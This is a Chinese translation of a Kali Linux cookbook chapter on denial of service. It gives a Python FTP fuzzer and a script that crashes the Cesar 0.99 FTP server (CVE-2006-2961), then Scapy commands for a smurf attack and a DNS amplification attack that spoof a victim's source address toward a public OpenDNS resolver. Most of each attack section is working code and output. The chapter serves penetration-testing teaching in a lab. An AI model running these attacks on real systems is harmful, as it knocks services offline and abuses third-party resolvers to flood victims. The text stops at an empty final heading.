kali-linux-network-scanning.../ch6.md

1372 lines
72 KiB
Markdown
Raw Normal View History

2016-11-23 19:21:27 +08:00
# 第六章 拒绝服务
> 作者Justin Hutchens
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
任何时候当你通过互联网访问公开资源甚至通过内部网络访问小型社区时重要的是要考虑拒绝服务DoS攻击的风险。 DoS 攻击可能令人沮丧,并且可能非常昂贵。 最糟糕的是,这些威胁往往是一些最难以缓解的威胁。 为了能够正确评估对网络和信息资源的威胁,必须了解现有的 DoS 威胁的类型以及与之相关的趋势。
在单独讨论列出的每个秘籍之前,我们应该强调一些基本原则,并了解它们如何与本章中讨论的 DoS 攻击相关。 我们将在接下来的秘籍中讨论的 DoS 攻击可以分为缓冲区溢出,流量放大攻击或资源消耗攻击。 我们将按此顺序讨论与这些类型的攻击的工作原理相关的一般原则。
缓冲区溢出是一种编程漏洞,可能导致应用程序,服务或整个底层操作系统的拒绝服务。 一般来说,缓冲区溢出能够导致拒绝服务,因为它可能导致任意数据被加载到非预期的内存段。 这可能会中断执行流程,并导致服务或操作系统崩溃。 流量放大 DoS 攻击能够通过消耗特定服务器,设备或网络可用的网络带宽来产生 DoS 条件。 流量放大攻击需要两个条件才能成功。 这些条件如下:
+ 重定向:攻击者必须能够请求可以重定向到受害者的响应。 这通常通过 IP 欺骗来实现。 因为 UDP 不是面向连接的协议,所以使用 UDP 作为其相关的传输层协议的大多数应用层协议,可以用于通过伪造的请求,将服务响应重定向到其他主机。
+ 放大:重定向的响应必须大于请求该响应的请求。 响应字节大小和请求字节大小的比率越大,攻击就越成功。
例如,如果发现了生成 10 倍于相关请求的响应的 UDP 服务,则攻击者可以利用该服务来潜在地生成 10 倍的攻击流量,而不是通过将伪造的请求发送到 漏洞服务,以可能最高的速率传输。 资源消耗攻击是产生如下的条件的攻击,其中主机服务器或设备的本地资源被消耗到一定程度,使得这些资源不再能够用于执行其预期的操作功能。 这种类型的攻击可以针对各种本地资源,包括内存,处理器性能,磁盘空间或并发网络连接的可持续性。
## 6.1 使用模糊测试来识别缓冲区溢出
识别缓冲区溢出漏洞的最有效的技术之一是模糊测试。 模糊测试通过将精巧的或随机数据传递给函数,来测试与各种输入相关的结果。 在正确的情况下,输入数据可能逃离其指定的缓冲区,并流入相邻的寄存器或内存段。 此过程将中断执行流程并导致应用程序或系统崩溃。 在某些情况下,缓冲区溢出漏洞也可以用于执行未经授权的代码。 在这个秘籍中我们会讨论如何通过开发自定义的Fuzzing工具来测试缓冲区溢出漏洞。
### 准备
为了执行远程模糊测试,你需要有一个运行 TCP 或 UDP 网络服务的系统。 在提供的示例中,使用了拥有 FTP 服务的 Windows XP 系统。 有关设置 Windows 系统的更多信息,请参阅本书第一章的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano将脚本写入文件系统。 有关编写脚本的更多信息请参阅本书第一章的“使用文本编辑器VIM 和 Nano”秘籍。
### 工作原理
Python 是一种优秀的脚本语言,可用于高效开发自定义的模糊测试工具。 当评估 TCP 服务时,套接字函数可用于简化执行完全三次握手序列,和连接到监听服务端口的过程。 任何模糊脚本的主要目的是,将数据作为输入发送到任何给定的函数并评估结果。 我开发了一个脚本,可以用来模糊测试 FTP 服务的验证后的功能,如下所示:
```py
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 6:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"
print "Example will fuzz the defined FTP service with a series of payloads"
print "to include 100 'A's, 200 'A's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
char = str(sys.argv[3])
i = int(sys.argv[4])
interval = int(sys.argv[4])
max = int(sys.argv[5])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command + " " + (char * i)
print "Sending " + str(i) + " instances of payload (" + char + ") to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' + user + '\r\n')
s.recv(1024)
s.send('PASS ' + passwd + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i = i + interval
except:
print "\nUnable to send...Server may have crashed"
sys.exit()
print "\nThere is no indication that the server has crashed"
```
脚本的第一部分定义了 Python 解释器的位置,并导入所需的库。 第二部分检查提供的参数数量,以确保其与脚本的适当用法一致。 脚本的第三部分定义将在整个脚本执行期间使用的变量。 其中几个变量从系统参数中接收到它们的值,这些参数在执行时传递给脚本。 剩余的变量通过接受脚本的用户的输入来定义。 最后,脚本的其余部分定义了模糊测试过程。 我们执行`ftp_fuzz.py`文件,如下:
```
root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000
Example will fuzz the defined FTP service with a series of payloads to include 100 'A's, 200 'A's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 A 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (A) to target
Sending 200 instances of payload (A) to target
Sending 300 instances of payload (A) to target
Sending 400 instances of payload (A) to target
Sending 500 instances of payload (A) to target
Sending 600 instances of payload (A) to target
Sending 700 instances of payload (A) to target
Sending 800 instances of payload (A) to target
Sending 900 instances of payload (A) to target
Sending 1000 instances of payload (A) to target
There is no indication that the server has crashed
```
如果脚本在没有适当数量的系统参数的情况下执行,脚本将返回预期的用法。有几个值必须作为系统参数来包含。要传递给脚本的第一个参数是目标 IP 地址。此 IP 地址是与运行所需模糊测试的 FTP 服务的系统相关的 IP 地址。下一个参数是运行 FTP 服务的端口号。在大多数情况下FTP 在 TCP 端口 21 中运行。载荷定义了要批量传递到服务的字符或字符序列。 `interval`参数定义了在一次迭代中传递给 FTP 服务的载荷实例数。参数也是这样的数量,通过该数量,载荷实例的数量将随着每次连续迭代增加到最大值。此最大值由最后一个参数的值定义。在使用这些系统参数执行脚本后,它将请求 FTP 服务的身份验证凭证,并询问应该对哪个身份验证后的功能进行模糊测试。在提供的示例中,模糊测试对 IP 地址`172.16.36.134`的 Windows XP 主机的 TCP 端口 21 上运行的 FTP 服务执行。匿名登录凭据传递给了具有任意电子邮件地址的 FTP 服务。此外,一系列 As 被传递到 MKD 验证后的功能,从 100 个实例开始,并每次增加 100直到达到最大 1000 个实例。同样的脚本也可以用来传递载荷中的一系列字符:
```
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 ABCD 100 500
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (ABCD) to target
Sending 200 instances of payload (ABCD) to target
Sending 300 instances of payload (ABCD) to target
Sending 400 instances of payload (ABCD) to target
Sending 500 instances of payload (ABCD) to target
There is no indication that the server has crashed
```
在所提供的示例中,载荷被定义为`ABCD`,并且该载荷的实例被定义为 100 的倍数,直到最大值 500。
### 工作原理
一般来说,缓冲区溢出能够导致拒绝服务,因为它们可能导致任意数据被加载到非预期的内存段。 这可能中断执行流程,并导致服务或操作系统崩溃。 此秘籍中讨论的特定脚本的工作原理是,在服务或操作系统崩溃的情况下,套接字将不再接受输入,并且脚本将无法完成整个载荷注入序列。 如果发生这种情况,脚本需要使用`Ctrl + C`强制关闭。在这种情况下,脚本会返回一个标志,表示后续的载荷无法发送,并且服务器可能已崩溃。
2016-11-23 19:35:42 +08:00
## 6.2 FTP 远程服务的缓冲区溢出 DoS 攻击
在正确的情况下,输入数据可能逃离其指定的缓冲区并流入相邻的寄存器或内存段。 此过程将中断执行流程并导致应用程序或系统崩溃。 在某些情况下,缓冲区溢出漏洞也可以用于执行未经授权的代码。 在这个特定的秘籍中,我们基于 Cesar 0.99 FTP 服务的缓冲区溢出,展示如何执行 DoS 攻击的示例。
### 准备
为了执行远程模糊测试,你需要有一个运行 TCP 或 UDP 网络服务的系统。 在提供的示例中,使用了拥有 FTP 服务的 Windows XP 系统。 有关设置 Windows 系统的更多信息,请参阅本书第一章的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano将脚本写入文件系统。 有关编写脚本的更多信息请参阅本书第一章的“使用文本编辑器VIM 和 Nano”秘籍。
### 操作步骤
有一个公开披露的漏洞与 Cesar 0.99 FTP 服务相关。 此漏洞由常见漏洞和披露CVE编号系统定义为 CVE-2006-2961。 通过对此漏洞进行研究,显然可以通过向 MKD 函数发送换行字符的验证后序列,来触发基于栈的缓冲区溢出。 为了避免将`\ n`转义序列传递给 Python 脚本,以及之后在提供的输入中正确解释它的相关困难,我们应该修改先前秘籍中讨论的脚本。 然后,我们可以使用修改的脚本来利用此现有漏洞:
```py
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 5:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"
print "Example will fuzz the defined FTP service with a series of line break "
print "characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
interval = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command + " " + ('\n' * i)
print "Sending " + str(i) + " line break characters to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' + user + '\r\n')
s.recv(1024)
s.send('PASS ' + passwd + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i = i + interval
except:
print "\nUnable to send...Server may have crashed"
sys.exit()
print "\nThere is no indication that the server has crashed"
```
对脚本所做的修改包括,修改使用描述和删除作为提供的参数的载荷,然后将换行载荷硬编码到要按顺序发送的脚本中。
```
root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000
Example will fuzz the defined FTP service with a series of line break characters to include 100 '\n's, 200 '\n's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 line break characters to target
Sending 200 line break characters to target
Sending 300 line break characters to target
Sending 400 line break characters to target
Sending 500 line break characters to target
Sending 600 line break characters to target
Sending 700 line break characters to target
^C
Unable to send...Server may have crashed
```
如果脚本在没有适当数量的系统参数的情况下执行,脚本将返回预期的用法。 然后,我们可以执行脚本并发送一系列载荷,它们的数量为 100 的倍数,最大为 1000。在发送 700 个换行符的载荷后,脚本停止发送载荷,并处于空闲状态。 在一段时间不活动后,脚本使用`Ctrl + C`被强制关闭。脚本表示它已经无法发送字符,并且远程服务器可能已经崩溃。 看看下面的截图:
![](img/6-2-1.jpg)
通过返回到运行 Cesar 0.99 FTP 服务的 Windows XP 主机,我们可以看到`server.exe`应用程序崩溃了。 要在拒绝服务后恢复操作,必须手动重新启动 Cesar FTP 服务。
### 工作原理
一般来说,缓冲区溢出能够导致拒绝服务,因为它们可能导致任意数据被加载到非预期的内存段。 这可能中断执行流程,并导致服务或操作系统崩溃。 此秘籍中讨论的特定脚本的工作原理是,在服务或操作系统崩溃的情况下,套接字将不再接受输入,并且脚本将无法完成整个有效载荷注入序列。 如果发生这种情况,脚本需要使用`Ctrl + C`强制关闭。在这种情况下,脚本将返回一个标识,表明后续载荷无法发送,并且服务器可能已崩溃。
2016-11-24 10:46:44 +08:00
## 6.3 Smurf DoS 攻击
smurf 攻击是历史上用于执行分布式拒绝服务DDoS放大攻击的最古老的技术之一。 此攻击包括向网络广播地址发送一系列 ICMP 回响请求,带有伪造的源 IP 地址。 当广播此回显请求时LAN 上的所有主机会同时对收到的每个伪造请求的目标进行回复。 这种技术对现代系统的效率较低,因为大多数系统不会回复 IP 定向的广播流量。
### 准备
2016-11-24 11:18:27 +08:00
要执行smurf攻击您需要有一个LAN上面运行多个系统。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
2016-11-24 10:46:44 +08:00
### 操作步骤
为了尝试执行传统的 smurf 攻击Scapy 可以用于从零开始构建必要的数据包。 为了从 Kali Linux 命令行使用 Scapy请从终端使用`scapy`命令,如下所示。 为了向广播地址发送 ICMP 请求,我们必须首先构建此请求的层级。 我们将需要构建的第一层是 IP 层:
```
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.255"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\
```
要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 ICMP 层:
```
>>> ping = ICMP()
>>> ping.display()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
```
要构建我们的请求的 ICMP 层,我们将使用与 IP 层相同的技术。 默认情况下ICMP 层已配置为执行回显请求。 现在我们已经创建了 IP 和 ICMP 层,我们需要通过堆叠这些层来构造请求:
```
>>> request = (i/ping)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
>>> send(request)
.
Sent 1 packets.
```
可以通过使用斜杠分隔变量,来堆叠 IP 和 ICMP 层。 然后可以将这些层及赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 一旦建立了请求,就可以将其传递给函数。 可以使用 Wireshark 或 TCPdump 等数据包捕获工具来监控结果。 在提供的示例中Wireshark 显示LAN 上的两个 IP 地址响应了广播回响请求:
![](img/6-3-1.jpg)
实际上,两个响应地址不足以执行有效的 DoS 攻击。 如果这个练习复制到另一个具有半现代化主机的实验室中,结果很可能是类似的。 在有足够的响应地址来触发拒绝服务的情况下,源地址将需要替换为了攻击目标的 IP 地址:
```
>>> send(IP(dst="172.16.36.255",src="172.16.36.135")/ ICMP(),count=100,verbose=1)
......................................................................... ...........................
Sent 100 packets.
```
在提供的示例中Scapy 的单行命令用于执行与之前讨论的相同操作,但此时除外,源 IP 地址被伪造为 LAN 上另一个系统的地址。 此外,`count`可用于按顺序发送多个请求。
### 工作原理
放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件:
+ 用于执行攻击的协议不验证请求源
+ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。
传统 smurf 攻击的效率取决于 LAN 上响应 IP 定向的广播流量的主机。 这种主机从目标系统的伪造 IP 地址接收 ICMP 广播回响请求,然后针对接收到的每个请求同时返回 ICMP 回响应答。
2016-11-24 11:18:27 +08:00
## 6.4 DNS 放大 DoS 攻击
DNS放大攻击通过对给定域执行所有类型记录的伪造查询来利用开放的 DNS 解析器。 通过同时向多个开放的解析器发送请求来使用 DDoS 组件,可以提高这种攻击的效率。
### 准备
为了模拟 DNS 放大攻击,你需要有一个本地名称服务器,或知道一个开放和可公开访问的名称服务器的 IP 地址。 提供的示例将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。
### 操作步骤
为了了解 DNS 放大的工作原理,可以使用基本的 DNS 查询工具,如`host``dig`或`nslookup`。 通过对与已建立的域相关的所有记录类型执行请求,你将注意到一些请求返回了相当大的响应:
```
root@KaliLinux:~# dig ANY google.com @208.67.220.220
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> ANY google.com @208.67.220.220
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539
;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION: ;
google.com. IN ANY
;; ANSWER SECTION:
google.com. 181 IN A 74.125.232.101
google.com. 181 IN A 74.125.232.97
google.com. 181 IN A 74.125.232.102
google.com. 181 IN A 74.125.232.99
google.com. 181 IN A 74.125.232.104
google.com. 181 IN A 74.125.232.96
google.com. 181 IN A 74.125.232.100
google.com. 181 IN A 74.125.232.103
google.com. 181 IN A 74.125.232.105
google.com. 181 IN A 74.125.232.98
google.com. 181 IN A 74.125.232.110
google.com. 174 IN AAAA 2607:f8b0:4004:803::1007
google.com. 167024 IN NS ns2.
google.com.
google.com. 167024 IN NS ns1.
google.com.
google.com. 167024 IN NS ns3.
google.com.
google.com. 167024 IN NS ns4.
google.com.
google.com. 60 IN SOA ns1.
google.com. dns-admin.
google.com. 1545677 7200 1800 1209600 300
;; Query time: 7 msec
;; SERVER: 208.67.220.220#53(208.67.220.220)
;; WHEN: Thu Dec 19 02:40:16 2013
;; MSG SIZE rcvd: 35
```
在提供的示例中,与`google.com`域相关的所有记录类型的请求返回了一个响应包含11个A记录1个AAAA记录4个NS记录和1个SOA记录。 DNS放大攻击的效率与响应大小直接相关。 我们现在将尝试使用 Scapy 中构建的数据包执行相同的操作。 要发送我们的 DNS 查询请求,我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层:
```
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "208.67.220.220"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\
```
要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 UDP 层:
```
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
>>> u.dport 53
```
要构建我们的请求的 UDP 层我们将使用与IP层相同的技术。 在提供的示例中,`UDP` 对象赋给了`u`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到源和目标端口的默认值都列为`domain`。 您可能能猜到,这表示与端口 53 相关的 DNS服 务。DNS 是一种常见的服务,通常可以在网络系统上发现。 要确认这一点,我们可以通过引用变量名和属性直接调用该值。 既然已经构建了 IP 和 UDP 层,我们需要构建 DNS 层:
```
>>> d = DNS()
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 0
ra= 0
z= 0
rcode= ok
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
```
为了构建我们的请求的DNS层我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中DNS 对象赋给了`d`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到有几个值需要修改:
```
>>> d.rd = 1
>>> d.qdcount = 1
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
```
RD 位需要被激活; 这可以通过将`rd`值设置为 1 来实现。此外,需要为`qdcount`提供值`0x0001`; 这可以通过提供整数值 1 来完成。通过再次调用`display()`函数,我们可以验证是否已经调整了配置。 现在已经构建了 IPUDP 和 DNS 层,我们需要构建一个 DNS 问题记录以分配给`qd`值:
```
>>> q = DNSQR()
>>> q.display()
###[ DNS Question Record ]###
qname= '.'
qtype= A
qclass= IN
```
为了构建 DNS 问题记录,我们将使用与 IPUDP 和 DNS 层相同的技术。 在提供的示例中DNS 问题记录已赋给`q`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到有几个值需要修改:
```
>>> q.qname = 'google.com'
>>> q.qtype=255
>>> q.display()
###[ DNS Question Record ]###
qname= 'google.com'
qtype= ALL
qclass= IN
```
`qname`值需要设置为要查询的域。 另外,`qtype`需要通过传递一个整数值 255 来设置为`ALL`。通过再次调用`display()`函数,我们可以验证是否已经调整了配置。 现在问题记录已经配置完毕问题记录对象应该赋给DNS `qd`值:
```
>>> d.qd = q
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
|
qname= 'google.com'
|
qtype= ALL
|
qclass= IN
an= None
ns= None
ar= None
```
我们可以通过调用`display()`函数来验证问题记录是否已赋给 DNS `qd`值。 现在已经构建了 IPUDP 和 DNS 层,并且已经将相应的问题记录赋给 DNS 层,我们可以通过堆叠这些层来构造请求:
```
>>> request = (i/u/d)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
| qname= 'google.com'
| qtype= ALL
| qclass= IN
an= None
ns= None
ar= None
```
可以通过使用斜杠分隔变量来堆叠 IPUDP 和 DNS 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 在发送此请求之前,我们应该以相同的显示格式查看它,因为我们需要查看响应。 这样,我们可以更好地从视觉上理解请求和响应之间发生的放大。 这可以通过直接调用变量来完成:
```
>>> request
<IP frag=0 proto=udp dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>
```
一旦建立了请求,它就可以被传递给发送和接收函数,以便我们可以分析响应。 我们不会将它赋给一个变量,而是直接调用该函数,以便可以以相同的格式查看响应:
```
>>> sr1(request)
Begin emission:
....................Finished to send 1 packets.
.............................*
Received 50 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=378 id=29706 flags= frag=0L ttl=128 proto=udp chksum=0x4750 src=208.67.220.220 dst=172.16.36.232 options=[] |<UDP sport=domain dport=domain len=358 chksum=0xf360 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=17 nscount=0 arcount=0 qd=<DNSQR qname='google.com.' qtype=ALL qclass=IN |> an=<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.103' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.102' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.98' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.96' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.99' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.110' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.100' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.97' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.104' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.105' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.101' |<DNSRR rrname='google.com.' type=AAAA rclass=IN ttl=234 rdata='2607 :f8b0:4004:803::1002' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns2.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns1.google.com.' |<DNSRR rrname='google. com.' type=NS rclass=IN ttl=171376 rdata='ns3.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns4.google.com.' |<DNSRR rrname='google.com.' type=SOA rclass=IN ttl=595 rdata='\xc1\x06\ tdns-admin\xc0\x0c\x00\x17\xd0`\x00\x00\x1c \x00\x00\x07\x08\x00\x12u\ x00\x00\x00\x01,' |>>>>>>>>>>>>>>>>> ns=None ar=None |>>>
```
该响应确认了我们已成功构建所需的请求,并且我们已请求了一个相当大的有效内容,其中包括`google.com`域的11个A记录1个AAAA记录4个NS记录和1个SOA记录。 此练习清楚地表明,请求的响应明显大于请求本身。 为了使这个放大攻击有效,它需要通过伪造源 IP 地址重定向到我们的目标:
```
>>> i.src = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.135
dst= 208.67.220.220
\options\
>>> request = (i/u/d)
>>> request
<IP frag=0 proto=udp src=172.16.36.135 dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>
```
将源 IP 地址值重新定义为目标系统的 IP 地址的字符串后,我们可以使用`display()`函数确认该值已调整。 然后我们可以重建我们的更改后的请求。 为了验证我们是否能够将 DNS 查询响应重定向到此伪造主机,我们可以在主机上启动 TCPdump
```
admin@ubuntu:~$ sudo tcpdump -i eth0 src 208.67.220.220 -vv
[sudo] password for admin:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
```
在提供的示例中TCPdump 配置将捕获`eth0`接口上,来自`208.67.220.220`源地址查询的DNS服务器的地址的所有流量。 然后,我们可以使用`send()`函数发送我们的请求:
```
>>> send(request)
.
Sent 1 packets.
>>> send(request)
.
Sent 1 packets.
```
发送请求后,我们应该返回到 TCPdump 的内容,来验证 DNS 查询的响应是否返回给了受害服务器:
```
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:07:12.926773 IP (tos 0x0, ttl 128, id 11341, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13in-f0.1e100.net, google.com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz08s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. NS ns2.google.com., google.com. NS ns1.google.com., google. com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1.google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322)
19:07:15.448636 IP (tos 0x0, ttl 128, id 11359, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13-in-f0.1e100.net, google. com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. NS ns2.google.com., google.com. NS ns1.google.com., google.com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1. google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322)
```
这个执行 DNS 放大的整个过程,实际上可以用 Scapy 中的单行命令来执行。 此命令使用所有与上一个练习中讨论的相同的值。 然后可以修改`count`值以定义要发送到受害服务器的载荷响应数:
```
>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(rd=1,qdco unt=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=2)
..
Sent 2 packets.
```
### 工作原理
